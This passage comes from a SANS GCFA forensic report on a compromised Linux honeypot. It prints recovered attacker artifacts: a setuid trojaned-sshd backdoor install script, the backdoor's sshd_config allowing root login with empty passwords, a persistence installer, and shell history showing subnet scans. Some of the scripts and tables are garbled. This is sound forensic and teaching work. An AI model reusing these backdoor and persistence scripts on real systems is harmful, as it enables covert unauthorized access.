</table>

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.
Comment: Here is the nfsdi script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [-x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [-f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi
if [-f /etc/rc.d/init.d/syslog ]; then
    chattr -iau /etc/rc.d/init.d/syslog
    rm -f /etc/rc.d/init.d/syslog
    cp -f syslog /etc/rc.d/init.d/functions
    echo "# This is a comment"
    echo "This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh"."
```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 260

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Page 266

© SANS Institute 2004, Author retains full rights.

Sans GCFA Cert Assd/EnCase Computer Analysis Report
p.sshd

echo Done!
chmod 0755 popauth

d > popauth

102) Name  p.sshd
Description  File
Full Path  /etc/pam.d/pam_sudo
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  92177bb76cc8b91e6ee65fa9883b0edbec
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\popauth</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9580542311468b426d76ada43f609be9</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\pstree</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>a2683199c868fccafe52f95d0ec879</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sense</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23ca477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\ssh\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>ec411d1f9b60c1c45e2e63f9a978315d</td>
<td>1,024</td>
<td>541</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sshd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp/.s/nfsd/sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:21PM</td>
<td>11/26/02 09:35:22PM</td>
<td>ce630951c72096d9ef1d3b12f309b281</td>
<td>1,024</td>
<td>707</td>
</tr>
</tbody>
</table>

Comment: Here is the ssh configuration file used by the ssh backdoor program nsfd.

```
# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
PasswdLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes
```

109) Name sshd-install
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp./s/sshd/sshd-install
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:11:58PM
Last Written 11/26/02 09:40:32PM
Hash Value 2eebbaf9af6e6267d55470c72f33a700
Physical Size 2,048
Logical Size 1,053

Comment: sshd-install script

```
#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
```
```bash
if [ ! -x /sbin/chkconfig ]; then
    /sbin/chkconfig --add sshd >>../install.log 2>&1
else
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
    ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

cp -f sshd_config /etc/sshd >>../install.log 2>&1
if [ ! -f /etc/ssh/ssh_host_key ]; then
    cp -f /etc/ssh/ssh_host_key /etc/ssh >>../install.log 2>&1
fi

if [ ! -f /etc/ssh/sshd_config ]; then
    cp -f /etc/ssh/sshd_config /etc/ssh >>../install.log 2>&1
fi

if [ ! -x /usr/sbin/sshd ]; then
    cp -f /usr/sbin/sshd /usr/sbin >>../install.log 2>&1
fi

chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >../install.log 2>&1
/etc/rc.d/init.d/sshd restart >>../install.log 2>&1
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>top</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\top</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>0598ec68648c9e9e17b0d50a3da771a6</td>
<td>58,368</td>
<td>57,615</td>
</tr>
<tr>
<td>vdir</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\vdir</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>8a5f3b286a71bc0cf372d2d5bb3e6cb</td>
<td>48,128</td>
<td>47,295</td>
</tr>
<tr>
<td>xxh_h</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:21PM</td>
<td>02/06/02 08:09:53AM</td>
<td>dffe24731d459493356d479c2dbe48ad</td>
<td>1,024</td>
<td>534</td>
</tr>
<tr>
<td>xxh_h</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:21PM</td>
<td>02/06/02 08:09:53AM</td>
<td>dffe24731d459493356d479c2dbe48ad</td>
<td>1,024</td>
<td>534</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:21PM</td>
<td>02/06/02 08:09:53AM</td>
<td>dfe24731d459493356d479c2dbe48ad</td>
<td>1,024</td>
<td>534</td>
</tr>
</tbody>
</table>

114) Name ttys
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttys
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:55:06PM
Last Written 06/29/03 03:22:07PM
Hash Value ad46a56a4269f47eb407ac56d18cd955
Physical Size 1,024
Logical Size 32

115) Name ttys
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttys
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:22:07PM
Hash Value d0ecd50dfb28e5978e6775afe73578
Physical Size 1,024
Logical Size 162

116) Name ttts
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttts
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:22:07PM
Hash Value cf49f02b065f45625baa0e3125c878
Physical Size 1,024
Logical Size 68

the functions library is called by the networks script here.

```
. /etc/init.d/functions
```

**Volume /var**
### Volume

<table>
<thead>
<tr>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors</td>
<td>529,137 bytes (258.4MB)</td>
</tr>
<tr>
<td>Total Clusters</td>
<td>264,568</td>
</tr>
<tr>
<td>Unallocated</td>
<td>219,693,056 bytes (209.5MB)</td>
</tr>
<tr>
<td>Free Clusters</td>
<td>214,544</td>
</tr>
<tr>
<td>bytes (49.9MB)</td>
<td></td>
</tr>
<tr>
<td>Volume Name</td>
<td>11,551,743</td>
</tr>
<tr>
<td>Volume Offset</td>
<td>11,551,743</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

192.168.2.15 - - [27/Jun/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET / HTTP/1.1" 200 2890
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 1154
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:22:01:17 -0600] "GET / HTTP/1.1" 200 2890

httpd access log for June 29, 2003

XXX.XXX.XXX.com - - [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 - - [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without h
ostname (see RFC2616 section 14.23): /
[Sun Jun 29 15:06:42 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:07:50 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:20:54 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:25:14 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the head
ers

Mail file for root. Showes Sementeation faults and cron job problems.
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin ############################

sendmail Begin

334 bytes transferred
1 messages sent
sendmail End

############################ LogWatch End ##################################

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA22A09057
for root; Sat, 28 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin ############################

ModProbe Begin
Can't locate these modules:
  0a: 1 Time(s)
ModProbe End

sendmail Begin
334 bytes transferred
1 messages sent
sendmail End

SSHD Begin
Failed logins from these:
  userid1/password from 192.168.2.1: 1 time(s)
  userid1/password from 192.168.2.13: 1 time(s)

Users logging in through sshd:
  userid1 logged in from 192.168.2.1 using password: 1 Times(s)
  root logged in from 192.168.2.121 using password: 2 Times(s)

SSHD End

############################ LogWatch End ##################################

From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.h5SA24a09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root@localhost.localdomain
Message-Id: <200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

################## LogWatch 2.6 Begin ####################
---------------------
sendmail Begin
------------------------
1336 bytes transferred
2 messages sent
----------------------
sendmail End
-------------------------

###################### LogWatch End ########################

From root Sun Jun 29 04:04:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA24210482
for root; Sun, 29 Jun 2003 04:02:04 -0600
Date: Sun, 29 Jun 2003 04:02:04 -0600
Message-Id: <200306291002.h5TA24210482@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>

find /var/log/sa/({name 'sar??', -o -name 'sa??'}) -mtime +7 -exec rm -f {} \\n
From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost) id h5UA24x28029 for root; Mon, 30 Jun 2003 04:02:04 -0600
Date: Mon, 30 Jun 2003 04:02:04 -0600
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>

From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
/etc/cron.daily/makewhatis.cron:

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root: XXX.XXX.XXX.ca: · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · MrIdiot


PROMPT_COMMAND

tcpdump:

/root/./bashrc

readline stdin

more syslog.conf

ls -l

cd /var/log

tail messages

ls -l

vi /etc/syslog.conf

cd /var/log

tail boot.log

ifconfig -a

cd /usr/

more cron

cd asm

"\033\[0;30m\$(USER)@\$(HOSTNAME):\$(HOME):\$(SHELL):\$(LOGNAME):\$(USER):\$(GROUP):\$(HOSTNAME):\$(SHELL)\033\[0m"

./sys XXX.XXX.49.137

./samba -d 0 -S 192.168.2.*

cp /etc/syslog.conf kld.conf

chown root:root kld.conf

./samba -d 0 -S XXX.XXX.5.*

---

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfe97f4f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>loadkeys</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>fe4f44934ee081482eaf32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bbf832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddecf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddecf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>154)</td>
<td>getent</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\getent</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>f1a14ddaf6053137dbda6798ee90f5a9</td>
<td>20,480</td>
<td>19,240</td>
</tr>
<tr>
<td>155)</td>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>cfaa21a7bab79204868fa7265a7870e6</td>
<td>53,248</td>
<td>51,004</td>
</tr>
<tr>
<td>156)</td>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0e9a9192ef5d94673d79dd403</td>
<td>8,192</td>
<td>7,800</td>
</tr>
<tr>
<td>157)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdbc3</td>
<td>299,008</td>
<td></td>
</tr>
</tbody>
</table>
Logical Size 298,828

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>159)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>160)</td>
<td>sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af36ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>161)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>162)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>163)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>164)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Entry</th>
<th>Full Path</th>
<th>Description</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>165)</td>
<td><code>eject</code></td>
<td>File</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>166)</td>
<td><code>eject</code></td>
<td>File</td>
<td>28,672</td>
<td>25,812</td>
</tr>
<tr>
<td>167)</td>
<td><code>file</code></td>
<td>File</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>168)</td>
<td><code>file</code></td>
<td>File</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>169)</td>
<td><code>ksymoops</code></td>
<td>File</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>Entry</td>
<td>Description</td>
<td>File Path</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>--------</td>
<td>--------------</td>
<td>-----------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>170)</td>
<td>ksymoops</td>
<td>/usr/bin/ksymoops</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>171)</td>
<td>a2p</td>
<td>/usr/bin/a2p</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>172)</td>
<td>basename</td>
<td>/bin/basename</td>
<td>19,456</td>
<td>18,879</td>
</tr>
<tr>
<td>173)</td>
<td>arch</td>
<td>/bin/arch</td>
<td>12,288</td>
<td>11,463</td>
</tr>
<tr>
<td>174)</td>
<td>ash.static</td>
<td>/bin/ash.static</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>--------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>---------------------</td>
</tr>
<tr>
<td>aumix-minimal</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\aumix-minimal</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>kill</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\kill</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
</tr>
<tr>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>sfxload</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sfxload</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>-----------</td>
<td>----------------</td>
<td>---------------</td>
</tr>
<tr>
<td>181)</td>
<td>Hard Link Data 1</td>
